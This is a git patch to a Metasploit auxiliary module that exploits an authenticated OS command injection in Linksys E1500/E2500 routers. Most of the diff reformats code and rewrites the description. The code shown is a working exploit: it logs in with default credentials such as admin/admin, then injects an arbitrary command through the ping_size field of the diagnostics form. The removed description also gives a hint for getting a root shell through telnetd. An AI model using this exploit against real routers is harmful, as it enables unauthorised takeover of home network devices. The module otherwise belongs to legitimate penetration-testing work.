From 49ac3ac1a32738c6f723787455c9683cfc145c03 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan.vazquez@metasploit.com>
Date: Sat, 23 Mar 2013 23:30:49 +0100
Subject: [PATCH] cleanup for linksys_e1500_e2500_exec

---
 .../admin/http/linksys_e1500_e2500_exec.rb    | 77 +++++++++----------
 1 file changed, 35 insertions(+), 42 deletions(-)

diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
index fb63ccc2ec..bee7ef69e4 100644
--- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
+++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
@@ -13,28 +13,23 @@ class Metasploit3 < Msf::Auxiliary
 
 	def initialize(info = {})
 		super(update_info(info,
-			'Name'            => 'Linksys E1500/E2500 Remote OS Command Execution',
+			'Name'            => 'Linksys E1500/E2500 Remote Command Execution',
 			'Description'     => %q{
-					Some Linksys Routers are vulnerable to OS Command injection.
-				You will need credentials to the webinterface to access the vulnerable part
-				of the application. Default credentials are always a good starting point.
-				admin/admin or admin/password could be a first try.
-				Note: This is a blind os command injection vulnerability. This means that you will
-				not see any output of your command. Try a ping command to your local system for a
-				first test.
-
-				Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the 
-				user root without a password for accessing the device.
+					Some Linksys Routers are vulnerable to an authenticated OS command injection.
+				Default credentials for the web interface are admin/admin or admin/password. Since
+				it is a blind os command injection vulnerability, there is no output for the
+				executed command. A ping command against a controlled system for can be used for
+				testing purposes.
 			},
 			'Author'          => [ 'm-1-k-3' ],
 			'License'         => MSF_LICENSE,
 			'References'      =>
 				[
-					[ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ],
-					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
-					[ 'EDB', '24475' ],
 					[ 'OSVDB', '89912' ],
-					[ 'BID', '57760' ]
+					[ 'BID', '57760' ],
+					[ 'EDB', '24475' ],
+					[ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ],
+					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
 				],
 			'DisclosureDate' => 'Feb 05 2013'))
 
@@ -54,14 +49,14 @@ class Metasploit3 < Msf::Auxiliary
 		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
 
 		begin
-				res = send_request_cgi({
-						'uri'     => uri,
-						'method'  => 'GET',
-						'authorization' => basic_auth(user,pass)
-						})
+			res = send_request_cgi({
+				'uri'     => uri,
+				'method'  => 'GET',
+				'authorization' => basic_auth(user,pass)
+			})
 
-				return if res.nil?
-				return if (res.code == 404)
+			return if res.nil?
+			return if (res.code == 404)
 
 			if [200, 301, 302].include?(res.code)
 				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
@@ -71,11 +66,10 @@ class Metasploit3 < Msf::Auxiliary
 			end
 
 		rescue ::Rex::ConnectionError
-				vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
-				return
+			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
+			return
 		end
 
-
 		print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
 
 		cmd = datastore['CMD']
@@ -85,23 +79,22 @@ class Metasploit3 < Msf::Auxiliary
 
 		vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
 		begin
-			res = send_request_cgi(
-				{
-					'uri'    => uri,
-					'method' => 'POST',
-					'authorization' => basic_auth(user,pass),
-					'vars_post' => {
-						"submit_button" => "Diagnostics",
-						"change_action" => "gozila_cgi",
-						"submit_type" => "start_ping",
-						"action" => "",
-						"commit" => "0",
-						"ping_ip" => "1.1.1.1",
-						"ping_size" => "&#{cmd}&",
-						"ping_times" => "5",
-						"traceroute_ip" => ""
-						}
-				})
+			res = send_request_cgi({
+				'uri'    => uri,
+				'method' => 'POST',
+				'authorization' => basic_auth(user,pass),
+				'vars_post' => {
+					"submit_button" => "Diagnostics",
+					"change_action" => "gozila_cgi",
+					"submit_type" => "start_ping",
+					"action" => "",
+					"commit" => "0",
+					"ping_ip" => "1.1.1.1",
+					"ping_size" => "&#{cmd}&",
+					"ping_times" => "5",
+					"traceroute_ip" => ""
+				}
+			})
 		rescue ::Rex::ConnectionError
 			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
 			return